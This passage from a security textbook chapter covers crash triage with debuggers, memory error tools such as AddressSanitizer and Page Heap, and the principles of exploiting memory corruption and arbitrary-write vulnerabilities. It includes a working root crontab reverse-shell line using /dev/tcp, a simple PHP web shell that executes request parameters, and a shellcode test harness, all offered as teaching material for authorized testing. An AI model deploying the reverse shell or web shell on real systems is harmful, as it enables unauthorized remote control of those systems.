process ID. Table 10-1 shows the various commands you need for running the three debuggers. Table 10-1: Commands for Running Debuggers on Windows, Linux, and macOS Debugger New process Attach process CDB cdb application.exe [arguments] cdb -p PID GDB gdb --args application [arguments] gdb -p PID LLDB lldb -- application [arguments] lldb -p -PID Because the debugger will suspend execution of the process after you’ve created or attached the debugger, you’ll need to run the process again. You can issue the commands in Table 10-2 in the debugger’s shell to start the process execution or resume execution if attaching. The table provides some simple names for such commands, separated by commas where applicable. Table 10-2: Simplified Application Execution Commands Debugger Start execution Resume execution CDB g g GDB run, r continue, c LLDB process launch, run, r thread continue, c When a new process creates a child process, it might be the child process that crashes rather than the process you’re debugging. This is especially common on Unix-like platforms, because some network servers will fork the current process to handle the new connection by creating a copy of the process. In these cases, you need to ensure you can follow the child process, not the parent process. You can use the commands in Table 10-3 to debug the child processes. Table 10-3: Debugging the Child Processes Technet24 |||||||||||||||||||| |||||||||||||||||||| Debugger Enable child process debugging Disable child process debugging CDB .childdbg 1 .childdbg 0 GDB set follow-fork-mode child set follow-fork-mode parent LLDB process attach --name NAME --waitfor exit debugger There are some caveats to using these commands. On Windows with CDB, you can debug all processes from one debugger. However, with GDB, setting the debugger to follow the child will stop the debugging of the parent. You can work around this somewhat on Linux by using the set detach-on-fork off command. This command suspends debugging of the parent process while continuing to debug the child and then reattaches to the parent once the child exits. However, if the child runs for a long time, the parent might never be able to accept any new connections. LLDB does not have an option to follow child processes. Instead, you need to start a new instance of LLDB and use the attachment syntax shown in Table 10-3 to automatically attach to new processes by the process name. You should replace the NAME in the process LLDB command with the process name to follow. Analyzing the Crash After debugging, you can run the application while fuzzing and wait for the program to crash. You should look for crashes that indicate corrupted memory—for example, crashes that occur when trying to read or write to invalid addresses, or trying to execute code at an invalid address. When you’ve identified an appropriate crash, inspect the state of the application to work out the reason for the crash, such as a memory corruption or an array- indexing error. First, determine the type of crash that has occurred from the print out to the command window. For example, CDB on Windows typically prints the crash type, which will be something like Access violation, and the debugger will try to print the instruction at the current program location where the application crashed. For GDB and LLDB on Unix- like systems, you’ll instead see the signal type: the most common type is SIGSEGV for segmentation fault, which indicates that the application tried to access an invalid memory location. As an example, Listing 10-2 shows what you’d see in CDB if the application tried to execute an invalid memory address. (2228.1b44): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. 00000000`41414141 ?? ??? Listing 10-2: An example crash in CDB showing invalid memory address |||||||||||||||||||| |||||||||||||||||||| After you’ve determined the type of crash, the next step is to determine which instruction caused the application to crash so you’ll know what in the process state you need to look up. Notice in Listing 10-2 that the debugger tried to print the instruction at which the crash occurred, but the memory location was invalid, so it returns a series of question marks. When the crash occurs due to reading or writing invalid memory, you’ll get a full instruction instead of the question marks. If the debugger shows that you’re executing valid instructions, you can disassemble the instructions surrounding the crash location using the commands in Table 10-4. Table 10-4: Instruction Disassembly Commands Debugger Disassemble from crash location Disassemble a specific location CDB u u ADDR GDB disassemble disassemble ADDR LLDB disassemble –frame disassemble --start-address ADDR To display the processor’s register state at the point of the crash, you can use the commands in Table 10-5. Table 10-5: Displaying and Setting the Processor Register State Debugger Show general purpose registers Show specific register Set specific register CDB r r @rcx r @rcx = NEWVALUE GDB info registers info registers rcx set $rcx = NEWVALUE LLDB register read register read rcx register write rcx NEWVALUE You can also use these commands to set the value of a register, which allows you to keep the application running by fixing the immediate crash and restarting execution. For example, if the crash occurred because the value of RCX was pointing to invalid reference memory, it’s possible to reset RCX to a valid memory location and continue execution. However, this might not continue successfully for very long if the application is already corrupted. One important detail to note is how the registers are specified. In CDB, you use the syntax @NAME to specify a register in an expression (for example, when building up a memory address). For GDB and LLDB, you typically use $NAME instead. GDB and LLDB, also have a couple of pseudo registers: $pc, which refers to the memory location of the instruction currently executing (which would map to RIP for x64), and $sp, which refers to the current stack pointer. Technet24 |||||||||||||||||||| |||||||||||||||||||| When the application you’re debugging crashes, you’ll want to display how the current function in the application was called, because this provides important context to determine what part of the application triggered the crash. Using this context, you can narrow down which parts of the protocol you need to focus on to reproduce the crash. You can get this context by generating a stack trace, which displays the functions that were called prior to the execution of the vulnerable function, including, in some cases, local variables and arguments passed to those functions. Table 10-6 lists commands to create a stack trace. Table 10-6: Creating a Stack Trace Debugger Display stack trace Display stack trace with arguments CDB K Kb GDB backtrace backtrace full LLDB backtrace You can also inspect memory locations to determine what caused the current instruction to crash; use the commands in Table 10-7. Table 10-7: Displaying Memory Values Debugger Display bytes/words, dwords, qwords Display ten 1-byte values CDB db, dw, dd, dq ADDR db ADDR L10 GDB x/b, x/h, x/w, x/g ADDR x/10b ADDR LLDB memory read --size 1,2,4,8 memory read --size 1 --count 10 Each debugger allows you to control how to display the values in memory, such as the size of the memory read (like 1 byte to 4 bytes) as well as the amount of data to print. Another useful command determines what type of memory an address corresponds to, such as heap memory, stack memory, or a mapped executable. Knowing the type of memory helps narrow down the type of vulnerability. For example, if a memory value corruption has occurred, you can distinguish whether you’re dealing with a stack memory or heap memory corruption. You can use the commands in Table 10-8 to determine the layout of the process memory and then look up what type of memory an address corresponds to. Table 10-8: Commands for Displaying the Process Memory Map Debugger Display process memory map CDB !address |||||||||||||||||||| |||||||||||||||||||| GDB info proc mappings LLDB No direct equivalent Of course, there’s a lot more to the debugger that you might need to use in your triage, but the commands provided in this section should cover the basics of triaging a crash. Example Crashes Now let’s look at some examples of crashes so you’ll know what they look like for different types of vulnerabilities. I’ll just show Linux crashes in GDB, but the crash information you’ll see on different platforms and debuggers should be fairly similar. Listing 10-3 shows an example crash from a typical stack buffer overflow. GNU gdb 7.7.1 (gdb) r Starting program: /home/user/triage/stack_overflow Program received signal SIGSEGV, Segmentation fault. ➊ 0x41414141 in ?? () ➋ (gdb) x/i $pc => 0x41414141: Cannot access memory at address 0x41414141 ➌ (gdb) x/16xw $sp-16 0xbffff620: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff630: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff640: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff650: 0x41414141 0x41414141 0x41414141 0x41414141 Listing 10-3: An example crash from a stack buffer overflow The input data was a series of repeating A characters, shown here as the hex value 0x41. At ➊, the program has crashed trying to execute the memory address 0x41414141. The fact that the address contains repeated copies of our input data is indicative of memory corruption, because the memory values should reflect the current execution state (such as pointers into the stack or heap)and are very unlikely to be the same value repeated. We double-check that the reason it crashed is that there’s no executable code at 0x41414141 by requesting GDB to disassemble instructions at the location of the program crash ➋. GDB then indicates that it cannot access memory at that location. The crash doesn’t necessarily mean a stack overflow has occured, so to confirm we dump the current stack location ➌. By also moving the stack pointer back 16 bytes at this point, we can see that our input data has definitely corrupted the stack. The problem with this crash is that it’s difficult to determine which part is the vulnerable code. We crashed it by calling an invalid location, meaning the function that was executing the return instruction is no longer directly referenced and the stack is corrupted, making it difficult to extract calling information. In this case, you could look at the stack memory below the corruption to search for a return address left on the stack by the vulnerable function, which can be used to track down the culprit. Listing 10-4 shows a Technet24 |||||||||||||||||||| |||||||||||||||||||| crash resulting from heap buffer overflow, which is considerably more involved than the stack memory corruption. user@debian:~/triage$ gdb ./heap_overflow GNU gdb 7.7.1 (gdb) r Starting program: /home/user/triage/heap_overflow Program received signal SIGSEGV, Segmentation fault. 0x0804862b in main () ➊ (gdb) x/i $pc => 0x804862b <main+112>: mov (%eax),%eax ➋ (gdb) info registers $eax eax 0x41414141 1094795585 (gdb) x/5i $pc => 0x804862b <main+112>: mov (%eax),%eax 0x804862d <main+114>: sub $0xc,%esp 0x8048630 <main+117>: pushl -0x10(%ebp) ➌ 0x8048633 <main+120>: call *%eax 0x8048635 <main+122>: add $0x10,%esp (gdb) disassemble Dump of assembler code for function main: ... ➍ 0x08048626 <+107>: mov -0x10(%ebp),%eax 0x08048629 <+110>: mov (%eax),%eax => 0x0804862b <+112>: mov (%eax),%eax 0x0804862d <+114>: sub $0xc,%esp 0x08048630 <+117>: pushl -0x10(%ebp) 0x08048633 <+120>: call *%eax (gdb) x/w $ebp-0x10 0xbffff708: 0x0804a030 ➎ (gdb) x/4w 0x0804a030 0x804a030: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) info proc mappings process 4578 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x8048000 0x8049000 0x1000 0x0 /home/user/triage/heap_overflow 0x8049000 0x804a000 0x1000 0x0 /home/user/triage/heap_overflow ➏ 0x804a000 0x806b000 0x21000 0x0 [heap] 0xb7cce000 0xb7cd0000 0x2000 0x0 0xb7cd0000 0xb7e77000 0x1a7000 0x0 /lib/libc-2.19.so Listing 10-4: An example crash from a heap buffer overflow Again we get a crash, but it’s at a valid instruction that copies a value from the memory location pointed to by EAX back into EAX ➊. It’s likely that the crash occurred because EAX points to invalid memory. Printing the register ➋ shows that the value of EAX is just our overflow character repeated, which is a sign of corruption. We disassemble a little further and find that the value of EAX is being used as a memory address of a function that the instruction at ➌ will call. Dereferencing a value from another value indicates that the code being executed is a virtual function lookup from a Virtual |||||||||||||||||||| |||||||||||||||||||| Function Table (VTable). We confirm this by disassembling a few instructions prior to the crashing instruction ➍. We see that a value is being read from memory, then that value is dereferenced (this would be reading the VTable pointer), and finally it is dereferenced again causing the crash. Although analysis showing that the crash occurs when dereferencing a VTable pointer doesn’t immediately verify the corruption of a heap object, it’s a good indicator. To verify a heap corruption, we extract the value from memory and check whether it’s corrupted using the 0x41414141 pattern, which was our input value during testing ➎. Finally, to check whether the memory is in the heap, we use the info proc mappings command to dump the process memory map; from that, we can see that the value 0x0804a030, which we extracted for ➍, is within the heap region ➏. Correlating the memory address with the mappings indicates that the memory corruption is isolated to this heap region. Finding that the corruption is isolated to the heap doesn’t necessarily point to the root cause of the vulnerability, but we can at least find information on the stack to determine what functions were called to get to this point. Knowing what functions were called would narrow down the range of functions you would need to reverse engineer to determine the culprit. Improving Your Chances of Finding the Root Cause of a Crash Tracking down the root cause of a crash can be difficult. If the stack memory is corrupted, you lose the information on which function was being called at the time of the crash. For a number of other types of vulnerabilities, such as heap buffer overflows or use-after-free, it’s possible the crash will never occur at the location of the vulnerability. It’s also possible that the corrupted memory is set to a value that doesn’t cause the application to crash at all, leading to a change of application behavior that cannot easily be observed through a debugger. Ideally, you want to improve your chances of identifying the exact point in the application that’s vulnerable without exerting a significant amount of effort. I’ll present a few ways of improving your chances of narrowing down the vulnerable point. Rebuilding Applications with Address Sanitizer If you’re testing an application on a Unix-like OS, there’s a reasonable chance you have the source code for the application. This alone provides you with many advantages, such as full debug information, but it also means you can rebuild the application and add improved memory error detection to improve your chances of discovering vulnerabilities. One of the best tools to add this improved functionality when rebuilding is Address Sanitizer (ASan), an extension for the CLANG C compiler that detects memory corruption bugs. If you specify the -fsanitize=address option when running the compiler (you can usually specify this option using the CFLAGS environment variable), the rebuilt Technet24 |||||||||||||||||||| |||||||||||||||||||| application will have additional instrumentation to detect common memory errors, such as memory corruption, out-of-bounds writes, use-after-free, and double-free. The main advantage of ASan is that it stops the application as soon as possible after the vulnerable condition has occurred. If a heap allocation overflows, ASan stops the program and prints the details of the vulnerability to the shell console. For example, Listing 10-5 shows a part of the output from a simple heap overflow. ==3998==ERROR: AddressSanitizer: heap-buffer-overflow➊ on address 0xb6102bf4➋ at pc 0x081087ae➌ bp 0xbf9c64d8 sp 0xbf9c64d0 WRITE of size 1➍ at 0xb6102bf4 thread T0 #0 0x81087ad (/home/user/triage/heap_overflow+0x81087ad) #1 0xb74cba62 (/lib/i386-linux-gnu/i686/cmov/libc.so.6+0x19a62) #2 0x8108430 (/home/user/triage/heap_overflow +0x8108430) Listing 10-5: Output from ASan for a heap buffer overflow Notice that the output contains the type of bug encountered ➊ (in this case a heap overflow), the memory address of the overflow write ➋, the location in the application that caused the overflow ➌, and the size of the overflow ➍. By using the provided information with a debugger, as shown in the previous section, you should be able to track down the root cause of the vulnerability. However, notice that the locations inside the application are just memory addresses. Source code files and line numbers would be more useful. To retrieve them in the stack trace, we need to specify some environment variables to enable symbolization, as shown in Listing 10-6. The application will also need to be built with debugging information, which we can do by passing by the compiler flag –g to CLANG. $ export ASAN_OPTIONS=symbolize=1 $ export ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer-3.5 $ ./heap_overflow ================================================================= ==4035==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb6202bf4 at pc 0x081087ae bp 0xbf97a418 sp 0xbf97a410 WRITE of size 1 at 0xb6202bf4 thread T0 #0 0x81087ad in main /home/user/triage/heap_overflow.c:8:3➊ #1 0xb75a4a62 in __libc_start_main /build/libc-start.c:287 #2 0x8108430 in _start (/home/user/triage/heap_overflow+0x8108430) Listing 10-6: Output from ASan for a heap buffer overflow with symbol information The majority of Listing 10-6 is the same as Listing 10-5. The big difference is that the crash’s location ➊ now reflects the location inside the original source code (in this case, starting at line 8, character 3 inside the file heap_overflow.c) instead of a memory location inside the program. Narrowing down the location of the crash to a specific line in the program makes it much easier to inspect the vulnerable code and determine the reason for the crash. Windows Debug and Page Heap |||||||||||||||||||| |||||||||||||||||||| On Windows, access to the source code of the application you’re testing is probably more restricted. Therefore, you’ll need to improve your chances for existing binaries. Windows comes with the Page Heap, which you can enable to improve your chances of tracking down a memory corruption. You need to manually enable the Page Heap for the process you want to debug by running the following command as an administrator: C:\> gflags.exe -i appname.exe +hpa The gflags application comes installed with the CDB debugger. The –i parameter allows you to specify the image filename to enable the Page Heap on. Replace appname.exe with the name of the application you’re testing. The +hpa parameter is what actually enables the Page Heap when the application next executes. The Page Heap works by allocating special, OS-defined memory pages (called guard pages) after every heap allocation. If an application tries to read or write these special guard pages, an error will be raised and the debugger will be notified immediately, which is useful for detecting a heap buffer overflow. If the overflow writes immediately at the end of the buffer, the guard page will be touched by the application and an error will be raised instantly. Figure 10-1 shows how this process works in practice. Figure 10-1: The Page Heap detecting an overflow You might assume that using the Page Heap would be a good way of stopping heap memory corruptions from occurring, but the Page Heap wastes a huge amount of memory because each allocation needs a separate guard page. Setting up the guard pages requires calling a system call, which reduces allocation performance. On the whole, enabling the Page Heap for anything other than debugging sessions would not be a great idea. Technet24 |||||||||||||||||||| |||||||||||||||||||| Exploiting Common Vulnerabilities After researching and analyzing a network protocol, you’ve fuzzed it and found some vulnerabilities you want to exploit. Chapter 9 describes many types of security vulnerabilities but not how to exploit those vulnerabilities, which is what I’ll discuss here. I’ll start with how you can exploit memory corruptions and then discuss some of the more unusual vulnerability types. The aims of vulnerability exploitation depend on the purpose of your protocol analysis. If the analysis is on a commercial product, you might be looking for a proof of concept that clearly demonstrates the issue so the vendor can fix it: in that case, reliability isn’t as important as a clear demonstration of what the vulnerability is. On the other hand, if you’re developing an exploit for use in a Red Team exercise and are tasked with compromising some infrastructure, you might need an exploit that is reliable, works on many different product versions, and executes the next stage of your attack. Working out ahead of time what your exploitation objectives are ensures you don’t waste time on irrelevant tasks. Whatever your goals, this section provides you with a good overview of the topic and more in-depth references for your specific needs. Let’s begin with exploiting memory corruptions. Exploiting Memory Corruption Vulnerabilities Memory corruptions, such as stack and heap overflows, are very common in applications written in memory-unsafe languages, such as C/C++. It’s difficult to write a complex application in such programming languages without introducing at least one memory corruption vulnerability. These vulnerabilities are so common that it’s relatively easy to find information about how to exploit them. An exploit needs to trigger the memory corruption vulnerability in such a way that the state of the program changes to execute arbitrary code. This might involve hijacking the executing state of the processor and redirecting it to some executable code provided in the exploit. It might also mean modifying the running state of the application in such a way that previously inaccessible functionality becomes available. The development of the exploit depends on the corruption type and what parts of the running application the corruption affects, as well as the kind of anti-exploit mitigations the application uses to make exploitation of a vulnerability more difficult to succeed. First, I’ll talk about the general principles of exploitation, and then I’ll consider more complex scenarios. Stack Buffer Overflows Recall that a stack buffer overflow occurs when code underestimates the length of a buffer to copy into a location on the stack, causing overflow that corrupts other data on the stack. Most serious of all, on many architectures the return address for a function is stored on the |||||||||||||||||||| |||||||||||||||||||| stack, and corruption of this return address gives the user direct control of execution, which you can use to execute any code you like. One of the most common techniques to exploit a stack buffer overflow is to corrupt the return address on the stack to point to a buffer containing shell code with instructions you want to execute when you achieve control. Successfully corrupting the stack in this way results in the application executing code it was not expecting. In an ideal stack overflow, you have full control over the contents and length of the overflow, ensuring that you have full control over the values you overwrite on the stack. Figure 10-2 shows an ideal stack overflow vulnerability in operation. Figure 10-2: A simple stack overflow exploit The stack buffer we’ll overflow is below the return address for the function ➊. When the overflow occurs, the vulnerable code fills up the buffer and then overwrites the return address with the value 0x12345678 ➋. The vulnerable function completes its work and tries to return to its caller, but the calling address has been replaced with an arbitrary value pointing to the memory location of some shell code placed there by the exploit ➌. The return instruction executes, and the exploit gains control over code execution. Writing an exploit for a stack buffer overflow is simple enough in the ideal situation: you just need to craft your data into the overflowed buffer to ensure the return address points to a memory region you control. In some cases, you can even add the shell code to the end of the overflow and set the return address to jump to the stack. Of course, to jump into the stack, you’ll need to find the memory address of the stack, which might be possible because the stack won’t move very frequently. Technet24 |||||||||||||||||||| |||||||||||||||||||| However, the properties of the vulnerability you discovered can create issues. For example, if the vulnerability is caused by a C-style string copy, you won’t be able to use multiple 0 bytes in the overflow because C uses a 0 byte as the terminating character for the string: the overflow will stop immediately once a 0 byte is encountered in the input data. An alternative is to direct the shell code to an address value with no 0 bytes, for example, shell code that forces the application to do allocation requests. Heap Buffer Overflows Exploiting heap buffer overflows can be more involved than exploiting an overflow on the stack because heap buffers are often in a less predictable memory address. This means there is no guarantee you’ll find something as easily corruptible as the function return address in a known location. Therefore, exploiting a heap overflow requires different techniques, such as control of heap allocations and accurate placement of useful, corruptible objects. The most common technique for gaining control of code execution for a heap overflow is to exploit the structure of C++ objects, specifically their use of VTables. A VTable is a list of pointers to functions that the object implements. The use of virtual functions allows a developer to make new classes derived from existing base classes and override some of the functionality, as illustrated in Figure 10-3. Figure 10-3: VTable implementation To support virtual functions, each allocated instance of a class must contain a pointer to the memory location of the function table ➊. When a virtual function is called on an object, the compiler generates code that looks up the address of the virtual function table, then looks up the virtual function inside the table, and finally calls that address ➋. Typically, we can’t corrupt the pointers in the table because it’s likely the table is stored in |||||||||||||||||||| |||||||||||||||||||| a read-only part of memory. But we can corrupt the pointer to the VTable and use that to gain code execution, as shown in Figure 10-4. Figure 10-4: Gaining code execution through VTable address corruption Use-After-Free Vulnerability A use-after-free vulnerability is not so much a corruption of memory but a corruption of the state of the program. The vulnerability occurs when a memory block is freed but a pointer to that block is still stored by some part of the application. Later in the application’s execution, the pointer to the freed block is reused, possibly because the application code assumes the pointer is still valid. Between the time that the memory block is freed and the block pointer is reused, there’s opportunity to replace the contents of the memory block with arbitrary values and use that to gain code execution. When a memory block is freed, it will typically be given back to the heap to be reused for another memory allocation; therefore, as long as you can issue an allocation request of the same size as the original allocation, there’s a strong possibility that the freed memory block would be reused with your crafted contents. We can exploit use-after-free vulnerabilities using a technique similar to abusing VTables in heap overflows, as illustrated in Figure 10-5. The application first allocates an object p on the heap ➊, which contains a VTable pointer we want to gain control of. Next, the application calls delete on the pointer to free the associated memory ➋. However, the application doesn’t reset the value of p, so this object is free to be reused in the future. Technet24 |||||||||||||||||||| |||||||||||||||||||| Figure 10-5: An example of a use-after-free vulnerability Although it’s shown in the figure as being free memory, the original values from the first allocation may not actually have been removed. This makes it difficult to track down the root cause of a use-after-free vulnerability. The reason is that the program might continue to work fine even if the memory is no longer allocated, because the contents haven’t changed. Finally, the exploit allocates memory that is an appropriate size and has control over the contents of memory that p points to, which the heap allocator reuses as the allocation for p ➌. If the application reuses p to call a virtual function, we can control the lookup and gain direct code execution. Manipulating the Heap Layout Most of the time, the key to successfully exploiting a heap-based vulnerability is in forcing a suitable allocation to occur at a reliable location, so it’s important to manipulate the layout of the heap. Because there is such a large number of different heap implementations on various platforms, I’m only able to provide general rules for heap manipulation. The heap implementation for an application may be based on the virtual memory management features of the platform the application is executing on. For example, Windows has the API function VirtualAlloc, which allocates a block of virtual memory for the current process. However, using the OS virtual memory allocator introduces a couple of problems: Poor performance Each allocation and free-up requires the OS to switch to kernel mode and back again. Wasted memory At a minimum, virtual memory allocations are done at page level, which is usually at least 4096 bytes. If you allocate memory smaller than the page size, the rest of the page is wasted. |||||||||||||||||||| |||||||||||||||||||| Due to these problems, most heap implementations call on the OS services only when absolutely necessary. Instead, they allocate a large memory region in one go and then implement user-level code to apportion that larger allocation into small blocks to service allocation requests. Efficiently dealing with memory freeing is a further challenge. A naive implementation might just allocate a large memory region and then increment a pointer in that region for every allocation, returning the next available memory location when requested. This will work, but it’s virtually impossible to then free that memory: the larger allocation could only be freed once all suballocations had been freed. This might never happen in a long- running application. An alternative to the simplistic sequential allocation is to use a free-list. A free-list maintains a list of freed allocations inside a larger allocation. When a new heap is created, the OS creates a large allocation in which the free-list would consist of a single freed block the size of the allocated memory. When an allocation request is made, the heap’s implementation scans the list of free blocks looking for a free block of sufficient size to contain the allocation. The implementation would then use that free block, allocate the request block at the start, and update the free-list to reflect the new free size. When a block is freed, the implementation can add that block to the free-list. It could also check whether the memory before and after the newly freed block is also free and attempt to coalesce those free blocks to deal with memory fragmentation, which occurs when many small allocated blocks are freed, returning the blocks to available memory for reuse. However, free-list entries only record their individual sizes, so if an allocation larger than any of the free-list entries is requested, the implementation might need to further expand the OS allocated region to satisfy the request. An example of a free-list is shown in Figure 10-6. Technet24 |||||||||||||||||||| |||||||||||||||||||| Figure 10-6: An example of a simple free-list implementation Using this heap implementation, you should be able to see how you would obtain a heap layout appropriate to exploiting a heap-based vulnerability. Say, for example, you know that the heap block you’ll overflow is 128 bytes; you can find a C++ object with a VTable pointer that’s at least the same size as the overflowable buffer. If you force the application to allocate a large number of these objects, they’ll end up being allocated sequentially in the heap. You can selectively free one of these objects (it doesn’t matter which one), and there’s a good chance that when you allocate the vulnerable buffer, it will reuse the freed block. Then you can execute your heap buffer overflow and corrupt the allocated object’s VTable to get code execution, as illustrated in Figure 10-7. |||||||||||||||||||| |||||||||||||||||||| Figure 10-7: Allocating memory buffers to ensure correct layout When manipulating heaps, the biggest challenge in a network attack is the limited control over memory allocations. If you’re exploiting a web browser, you can use JavaScript to trivially set up the heap layout, but for a network application, it’s more difficult. A good place to look for object allocations is in the creation of a connection. If each connection is backed by a C++ object, you can control allocation by just opening and closing connections. If that method isn’t suitable, you’ll almost certainly have to exploit the commands in the network protocol for appropriate allocations. Defined Memory Pool Allocations As an alternative to using an arbitrary free-list, you might use defined memory pools for different allocation sizes to group smaller allocations appropriately. For example, you might specify pools for allocations of 16, 64, 256, and 1024 bytes. When the request is made, the implementation will allocate the buffer based on the pool that most closely matches the size requested and is large enough to fit the allocation. For example, if you wanted a 50-byte allocation, it would go into the 64-byte pool, whereas a 512-byte allocation would go into the 1024-byte pool. Anything larger than 1024 bytes would be allocated using an alternative approach for large allocations. The use of sized memory pools reduces fragmentation caused by small allocations. As long as there’s a free entry for the requested memory in the sized pool, it will be satisfied, and larger allocations will not be blocked as much. Heap Memory Storage The final topic to discuss in relation to heap implementations is how information like the free-list is stored in memory. There are two methods. In one method, metadata, such as Technet24 |||||||||||||||||||| |||||||||||||||||||| block size and whether the state is free or allocated, is stored alongside the allocated memory, which is known as in-band. In the other, known as out-of-band, metadata is stored elsewhere in memory. The out-of-band method is in many ways easier to exploit because you don’t have to worry about restoring important metadata when corrupting contiguous memory blocks, and it’s especially useful when you don’t know what values to restore for the metadata to be valid. Arbitrary Memory Write Vulnerability Memory corruption vulnerabilities are often the easiest vulnerabilities to find through fuzzing, but they’re not the only kind, as mentioned in Chapter 9. The most interesting is an arbitrary file write resulting from incorrect resource handling. This incorrect handling of resources might be due to a command that allows you to directly specify the location of a file write or due to a command that has a path canonicalization vulnerability, allowing you to specify the location relative to the current directory. However the vulnerability manifests, it’s useful to know what you would need to write to the filesystem to get code execution. The arbitrary writing of memory, although it might be a direct consequence of a mistake in the application’s implementation, could also occur as a by-product of another vulnerability, such as a heap buffer overflow. Many old heap memory allocators would use a linked list structure to store the list of free blocks; if this linked list data were corrupted, any modification of the free-list could result in an arbitrary write of a value into an attacker-supplied location. To exploit an arbitrary memory write vulnerability, you need to modify a location that can directly control execution. For example, you could target the VTable pointer of an object in memory and overwrite it to gain control over execution, as in the methods for other corruption vulnerabilities. One advantage of an arbitrary write is that it can lead to subverting the logic of an application. As an example, consider the networked application shown in Listing 107. Its logic creates a memory structure to store important information about a connection, such as the network socket used and whether the user was authenticated as an administrator, when the connection is created. struct Session { int socket; int is_admin; }; Session* session = WaitForConnection(); Listing 10-7: A simple connection session structure For this example, we’ll assume that some code checks, whether or not the session is an administrator session, will allow only certain tasks to be done, such as changing the |||||||||||||||||||| |||||||||||||||||||| system’s configuration. There is a direct command to execute a local shell command if you’re authenticated as an administrator in the session, as shown in Listing 10-8. Command c = ReadCommand(session->socket); if (c.command == CMD_RUN_COMMAND && session->is_admin) { system(c->data); } Listing 10-8: Opening the run command as an administrator By discovering the location of the session object in memory, you can change the is_admin value from 0 to 1, opening the run command for the attacker to gain control over the target system. We could also change the socket value to point to another file, causing the application to write data to an arbitrary file when writing a response, because in most Unix-like platforms, file descriptors and sockets are effectively the same type of resource. You can use the write system call to write to a file, just as you can to write to the socket. Although this is a contrived example, it should help you understand what happens in real-world networked applications. For any application that uses some sort of authentication to separate user and administrator responsibilities, you could typically subvert the security system in this way. Exploiting High-Privileged File Writes If an application is running with elevated privileges, such as root or administrator privileges, your options for exploiting an arbitrary file write are expansive. One technique is to overwrite executables or libraries that you know will get executed, such as the executable running the network service you’re exploiting. Many platforms provide other means of executing code, such as scheduled tasks, or cron jobs on Linux. If you have high privileges, you can write your own cron jobs to a directory and execute them. On modern Linux systems, there’s usually a number of cron directories already inside /etc that you can write to, each with a suffix that indicates when the jobs will be executed. However, writing to these directories requires you to give the script file executable permissions. If your arbitrary file write only provides read and write permissions, you’ll need to write to /etc/cron.d with a Crontab file to execute arbitrary system commands. Listing 10-9 shows an example of a simple Crontab file that will run once a minute and connect a shell process to an arbitrary host and TCP port where you can access system commands. * * * * * root /bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/1234 0>&1' Listing 10-9: A simple reverse shell Crontab file This Crontab file must be written to /etc/cron.d/run_shell. Note that some versions of bash don’t support this reverse shell syntax, so you would have to use something else, such as a Python script, to achieve the same result. Now let’s look at how to exploit write Technet24 |||||||||||||||||||| |||||||||||||||||||| vulnerabilities with low-privileged file writes. Exploiting Low-Privileged File Writes If you don’t have high privileges when a write occurs, all is not lost; however, your options are more limited, and you’ll still need to understand what is available on the system to exploit. For example, if you’re trying to exploit a web application or there’s a web server install on the machine, it might be possible to drop a server-side rendered web page, which you can then access through a web server. Many web servers will also have PHP installed, which allows you to execute commands as the web server user and return the result of that command by writing the file shown in Listing 10-10 to the web root (it might be in /var/www/html or one of many other locations) with a .php extension. <?php if (isset($_REQUEST['exec'])) { $exec = $_REQUEST['exec']; $result = system($exec); echo $result; } ?> Listing 10-10: A simple PHP shell After you’ve dropped this PHP shell to the web root, you can execute arbitrary commands on the system in the context of the web server by requesting a URL in the form http://server/shell.php?exec=CMD. The URL will result in the PHP code being executed on the server: the PHP shell will extract the exec parameter from the URL and pass it to the system API, with the result of executing the arbitrary command CMD. Another advantage of PHP is that it doesn’t matter what else is in the file when it’s written: the PHP parser will look for the <?php … ?> tags and execute any PHP code within those tags regardless of whatever else is in the file. This is useful when you don’t have full control over what’s written to a file during the vulnerability exploitation. Writing Shell Code Now let’s look at how to start writing your own shell code. Using this shell code, you can execute arbitrary commands within the context of the application you’re exploiting with your discovered memory corruption vulnerability. Writing your own shell code can be complex, and although I can’t do it full justice in the remainder of this chapter, I’ll give you some examples you can build on as you continue your own research into the subject. I’ll start with some basic techniques and challenges of writing x64 code using the Linux platform. Getting Started |||||||||||||||||||| |||||||||||||||||||| To start writing shell code, you need the following: • An installation of Linux x64. • A compiler; both GCC and CLANG are suitable. • A copy of the Netwide Assembler (NASM); most Linux distributions have a package available for this. On Debian and Ubuntu, the following command should install everything you need: sudo apt-get install build-essential nasm We’ll write the shell code in x64 assembly language and assemble it using nasm, a binary assembler. Assembling your shell code should result in a binary file containing just the machine instructions you specified. To test your shell code, you can use Listing 10-11, written in C, to act as a test harness. test_shellcode.c #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> typedef int (*exec_code_t)(void); int main(int argc, char** argv) { if (argc < 2) { printf("Usage: test_shellcode shellcode.bin\n"); exit(1); } ➊ int fd = open(argv[1], O_RDONLY); if (fd <= 0) { perror("open"); exit(1); } struct stat st; if (fstat(fd, &st) == -1) { perror("stat"); exit(1); } ➋ exec_code_t shell = mmap(NULL, st.st_size, ➌ PROT_EXEC | PROT_READ, MAP_PRIVATE, fd, 0); if (shell == MAP_FAILED) { perror("mmap"); exit(1); } printf("Mapped Address: %p\n", shell); printf("Shell Result: %d\n", shell()); return 0; } Technet24 |||||||||||||||||||| |||||||||||||||||||| Listing 10-11: A shell code test harness The code takes a path from the command line ➊ and then maps it into memory as a memory-mapped file ➋. We specify that the code is executable with the PROT_EXEC flag ➌; otherwise, various platform-level exploit mitigations could potentially stop the shell code from executing. Compile the test code using the installed C compiler by executing the following command at the shell. You shouldn’t see any warnings during compilation. $ cc –Wall –o test_shellcode test_shellcode.c To test the code, put the following assembly code into the file shellcode.asm, as shown in Listing 10-12. ; Assemble as 64 bit BITS 64 mov rax, 100 ret Listing 10-12: A simple shell code example The shell code in Listing 10-12 simply moves the value 100 to the RAX register. The RAX register is used as the return value for a function call. The test harness will call this shell code as if it were a function, so we would expect the value of the RAX register to be returned to the test harness. The shell code then immediately issues the ret instruction, jumping back to the caller of the shell code, which in this case is our test harness. The test harness should then print out the return value of 100, if successful. Let’s try it out. First, we’ll need to assemble the shell code using nasm, and then we’ll execute it in the harness: $ nasm -f 